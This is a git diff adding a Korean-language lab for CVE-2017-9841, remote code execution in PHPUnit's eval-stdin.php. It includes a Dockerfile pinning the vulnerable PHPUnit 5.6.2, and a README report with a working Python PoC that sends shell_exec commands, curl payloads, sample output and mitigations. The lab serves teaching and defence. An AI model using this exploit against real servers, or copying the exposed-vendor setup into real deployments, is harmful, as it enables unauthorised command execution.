CVE-2017-9841

CVE-2017-9841/.gitignore

@@ -0,0 +1 @@
+vendor/

CVE-2017-9841/Dockerfile

@@ -0,0 +1,25 @@
+FROM composer:2.2 AS builder
+
+WORKDIR /app
+
+ENV COMPOSER_ALLOW_SUPERUSER=1
+
+COPY composer.json composer.lock ./
+
+RUN composer install \
+    --no-interaction \
+    --prefer-dist \
+    --no-progress \
+    --ignore-platform-req=php
+
+
+FROM php:7.1-apache
+
+WORKDIR /var/www/html
+
+COPY --from=builder /app/vendor ./vendor
+COPY index.php ./index.php
+
+RUN chown -R www-data:www-data /var/www/html
+
+EXPOSE 80

CVE-2017-9841/README.md

@@ -0,0 +1,273 @@
+# PHPUnit 원격 코드 실행 취약점 보고서 (CVE-2017-9841)
+
+## 1. 취약점 요약
+
+PHPUnit은 PHP 애플리케이션의 단위 테스트를 지원하는 테스트 프레임워크다. CVE-2017-9841은 취약한 PHPUnit 버전의 eval-stdin.php 파일에서 발생하는 원격 코드 실행(RCE) 취약점이다.
+
+### 영향을 받는 버전
+
+* PHPUnit 4.8.28 미만
+* PHPUnit 5.x 중 5.6.3 미만
+* 본 실습 환경에서는 취약한 버전인 **PHPUnit 5.6.2**를 사용한다.
+
+### 취약점 메커니즘
+
+취약한 파일의 경로는 /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php이며 해당 파일에는 HTTP 요청 본문(Body)을 읽어 `eval()` 함수로 실행하는 다음 코드가 존재한다.
+
+```php
+eval('?>'.file_get_contents('php://input'));
+
+```
+
+공격자가 <?php로 시작하는 PHP 코드를 HTTP POST 요청 본문에 삽입하여 전송하면, 해당 코드가 웹 서버 권한으로 실행된다.
+
+---
+
+## 2. 환경 구성
+
+본 환경은 외부 이미지에 의존하지 않고 제공된 Dockerfile과 docker-compose.yml 파일을 통해 독립적으로 빌드 및 실행되도록 구성하였다.
+
+### 환경 지표 및 명세
+
+* **취약점:** CVE-2017-9841
+* **취약 프로그램:** PHPUnit 5.6.2 (Dockerfile을 통해 직접 설치)
+* **웹 서버 및 PHP:** Apache HTTP Server / PHP 7.1
+* **컨테이너 플랫폼:** Docker Compose (호스트 8080 포트와 컨테이너 80 포트 연결)
+* **PoC 구동 언어:** Python 3 (외부 패키지 의존성 없음, 표준 라이브러리 사용)
+
+### 저장소 구조
+
+```text
+CVE-2017-9841/
+├── Dockerfile
+├── docker-compose.yml
+├── composer.json
+├── composer.lock
+├── index.php
+├── POC.py
+├── README.md
+└── images/
+    ├── environment.png
+    ├── phpinfo.png
+    └── poc-result.png
+
+```
+
+---
+
+## 3. 취약 조건
+
+다음 조건이 모두 충족될 때 취약점이 발생하며 공격이 성립한다.
+
+1. 시스템에 취약한 PHPUnit 버전(4.8.28 미만 또는 5.6.3 미만)이 설치되어 있어야 한다.
+2. PHPUnit의 vendor 디렉터리가 웹 서버의 공개 경로(Document Root) 하위에 노출되어 있어야 한다.
+3. 외부 사용자가 eval-stdin.php 파일의 URL 경로에 직접 접근할 수 있어야 한다.
+4. 공격자가 해당 엔드포인트로 HTTP POST 요청을 전송하는 데 제한이 없어야 한다.
+
+---
+
+## 4. 실행
+
+### 4.1 사전 요구사항 확인
+
+본 환경을 실행하기 전, 로컬 PC에 다음 도구들이 설치되어 있는지 확인한다.
+
+```bash
+git --version
+docker --version
+docker compose version
+
+```
+
+* Windows 환경은 `py --version` 또는 `python --version`으로 파이썬을 확인한다.
+* macOS 및 Linux 환경은 `python3 --version`으로 파이썬을 확인한다.
+
+### 4.2 환경 실행 및 검증
+
+저장소를 복제한 뒤 해당 취약점 디렉터리로 이동하여 `docker-compose` 로 환경을 완성한다.
+
+```bash
+cd kr-vulhub/CVE-2017-9841
+
+docker compose up -d --build
+
+docker compose ps
+
+```
+
+* **웹 서버 접속 확인:** 브라우저에서 `http://localhost:8080`에 접근하여 취약한 PHPUnit 실습 웹 페이지가 정상적으로 출력되는지 확인한다.
+
+---
+## 5. 재현 절차
+
+![이미지2](image%20(2).png)
+![이미지3](image%20(3).png)
+![이미지4](image%20(4).png)
+![이미지5](image%20(5).png)
+![이미지6](image%20(6).png)
+![이미지7](image%20(7).png)
+
+
+## 6. PoC 코드
+
+본 PoC는 외부 패키지 설치(requests 등) 없이 복사하여 바로 실행할 수 있도록 파이썬 표준 라이브러리(`urllib`)만을 사용하여 구현하였다. 모든 파일은 UTF-8 형식으로 저장한다.
+
+```python
+#!/usr/bin/env python3
+import argparse
+import sys
+import urllib.error
+import urllib.request
+
+VULNERABLE_PATH = "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
+
+def escape_php_single_quoted(value: str) -> str:
+    return value.replace("\\", "\\\\").replace("'", "\\'")
+
+def main() -> int:
+    parser = argparse.ArgumentParser(description="PoC for PHPUnit CVE-2017-9841")
+    parser.add_argument("-u", "--url", default="http://localhost:8080", help="Target base URL")
+    parser.add_argument("-c", "--command", default="id", help="Command to execute")
+    args = parser.parse_args()
+
+    target_url = args.url.rstrip("/") + VULNERABLE_PATH
+    command = escape_php_single_quoted(args.command)
+
+    payload = (
+        "<?php "
+        'echo "[CVE-2017-9841 PoC]\\n"; '
+        f"echo shell_exec('{command}'); "
+        "?>"
+    ).encode("utf-8")
+
+    request = urllib.request.Request(
+        target_url,
+        data=payload,
+        method="POST",
+        headers={"Content-Type": "application/octet-stream"},
+    )
+
+    print(f"[+] Target: {target_url}")
+    print(f"[+] Command: {args.command}")
+
+    try:
+        with urllib.request.urlopen(request, timeout=10) as response:
+            body = response.read().decode("utf-8", errors="replace")
+            status = response.status
+    except urllib.error.URLError as error:
+        print(f"[-] Request failed: {error}")
+        return 1
+
+    print(f"[+] HTTP status: {status}")
+    print("[+] Response:")
+    print(body.strip())
+
+    if status == 200 and "[CVE-2017-9841 PoC]" in body:
+        print("[+] Vulnerability reproduced successfully.")
+        return 0
+
+    print("[-] Vulnerability reproduction failed.")
+    return 1
+
+if __name__ == "__main__":
+    sys.exit(main())
+
+```
+
+---
+
+## 7. 실행 결과
+
+### 7.1 기본 명령어 실행 (`id`)
+
+작성된 `POC.py` 파일을 사용하여 대상 서버에 원격 명령을 수행한다.
+
+* **Windows:** `py POC.py -u http://localhost:8080`
+* **macOS / Linux:** `python3 POC.py -u http://localhost:8080`
+
+**성공 시 출력 결과:**
+
+```text
+[+] Target: http://localhost:8080/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
+[+] Command: id
+[+] HTTP status: 200
+[+] Response:
+[CVE-2017-9841 PoC]
+uid=33(www-data) gid=33(www-data) groups=33(www-data)
+[+] Vulnerability reproduced successfully.
+
+```
+
+공격자가 보낸 PHP 코드가 원격지 서버 내부에서 정상적으로 파싱되었으며, Apache 웹 서버 계정 권한인 `www-data`로 임의 명령어가 실행되었음을 검증하였다.
+
+### 7.2 브라우저 기반 추가 검증 (`phpinfo`)
+
+`curl` 명령어를 사용하여 요청 본문에 `phpinfo();` 함수를 삽입한 뒤, 생성된 HTML 결과를 브라우저로 확인한다.
+
+* **Windows PowerShell:**
+```powershell
+curl.exe -X POST --data "<?php phpinfo(); ?>" http://localhost:8080/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php -o phpinfo.html
+start phpinfo.html
+
+```
+
+
+* **macOS / Linux:**
+```bash
+curl -X POST --data '<?php phpinfo(); ?>' http://localhost:8080/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php -o phpinfo.html
+open phpinfo.html || xdg-open phpinfo.html
+
+```
+
+
+
+출력된 파일 내부에서 `PHP Version 7.1.33`, `User/Group: www-data` 등의 변수값이 변조 없이 명확하게 노출됨으로써 RCE 취약점이 시각적으로 증명된다.
+
+---
+
+## 8. 대응 방안
+
+### 8.1 PHPUnit 컴포넌트 업데이트
+
+가장 근본적인 해결책은 취약점이 패치된 최신 버전으로 업데이트하는 것이다.
+
+* PHPUnit 4 계열 사용 시: 4.8.28 이상으로 업그레이드한다.
+* PHPUnit 5 계열 사용 시: 5.6.3 이상으로 업그레이드한다.
+
+### 8.2 운영(Production) 환경 분리 및 의존성 배제
+
+테스트 프레임워크인 PHPUnit은 개발 단계에서만 사용해야 한다. 배포 및 운영 서버 빌드 시에는 개발용 패키지가 포함되지 않도록 옵션을 강제한다.
+
+```bash
+composer install --no-dev
+
+```
+
+### 8.3 웹 서버 설정을 통한 외부 접근 원천 차단
+
+외부 사용자가 vendor 디렉터리에 직접 URL을 타고 들어올 수 없도록 웹 서버 설정 파일(Apache 혹은 Nginx)에 접근 제한 정책을 수립한다.
+
+* **Apache 예시:**
+```apache
+<Directory "/var/www/html/vendor">
+    Require all denied
+</Directory>
+
+```
+
+
+
+### 8.4 웹 루트(Document Root) 구조 개선
+
+프로젝트 전체 디렉터리가 웹에 공개되지 않도록, 외부 접근용 파일만 모아둔 public 폴더를 신설하고 해당 경로만 웹 루트로 지정한다. vendor 폴더는 웹 서버 상위 경로에 격리하는 구조적 보안을 적용한다.
+
+
+---
+
+### 실습 환경 종료 명령어
+
+```bash
+docker compose down --volumes --remove-orphans
+
+```
+4반 오로라

CVE-2017-9841/composer.json

@@ -0,0 +1,10 @@
+{
+  "name": "kr-vulhub/cve-2017-9841",
+  "description": "Vulnerable PHPUnit 5.6.2 environment for CVE-2017-9841",
+  "require-dev": {
+    "phpunit/phpunit": "5.6.2"
+  },
+  "config": {
+    "allow-plugins": false
+  }
+}